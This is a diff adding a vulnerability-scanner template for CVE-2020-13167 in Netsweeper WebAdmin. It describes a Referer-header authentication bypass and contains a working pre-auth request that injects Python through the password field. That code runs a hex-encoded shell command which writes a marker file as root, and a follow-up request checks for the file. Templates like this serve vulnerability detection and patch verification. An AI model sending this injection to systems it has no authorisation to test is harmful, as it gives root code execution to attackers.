diff --git a/cves/CVE-2020-13167.yaml b/cves/CVE-2020-13167.yaml new file mode 100644 index 0000000000..708fef7dc3 --- /dev/null +++ b/cves/CVE-2020-13167.yaml @@ -0,0 +1,41 @@ +id: CVE-2020-13167 + +info: + name: Netsweeper WebAdmin unixlogin.php Python Code Injection + author: dwisiswant0 + severity: critical + + # This template exploits a Python code injection in the Netsweeper + # WebAdmin component's unixlogin.php script, for versions 6.4.4 and + # prior, to execute code as the root user. + # + # Authentication is bypassed by sending a random whitelisted Referer + # header in each request. + # + # Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs. + # Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has + # been confirmed exploitable. + # + # References: + # - https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/ + # - https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says + +requests: + - method: GET + path: + # Payload on hex: echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/nonexistent + - "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6e6f6e6578697374656e74%27.decode%28%27hex%27%29%29%23&timeout=5" + - "{{BaseURL}}/webadmin/nonexistent" + headers: + Referer: "http://{{Hostname}}/webadmin/admin/service_manager_data.php" + User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)" + Connection: "close" + matchers-condition: and + matchers: + - type: word + words: + - "nonexistent" + part: body + - type: status + status: + - 200 \ No newline at end of file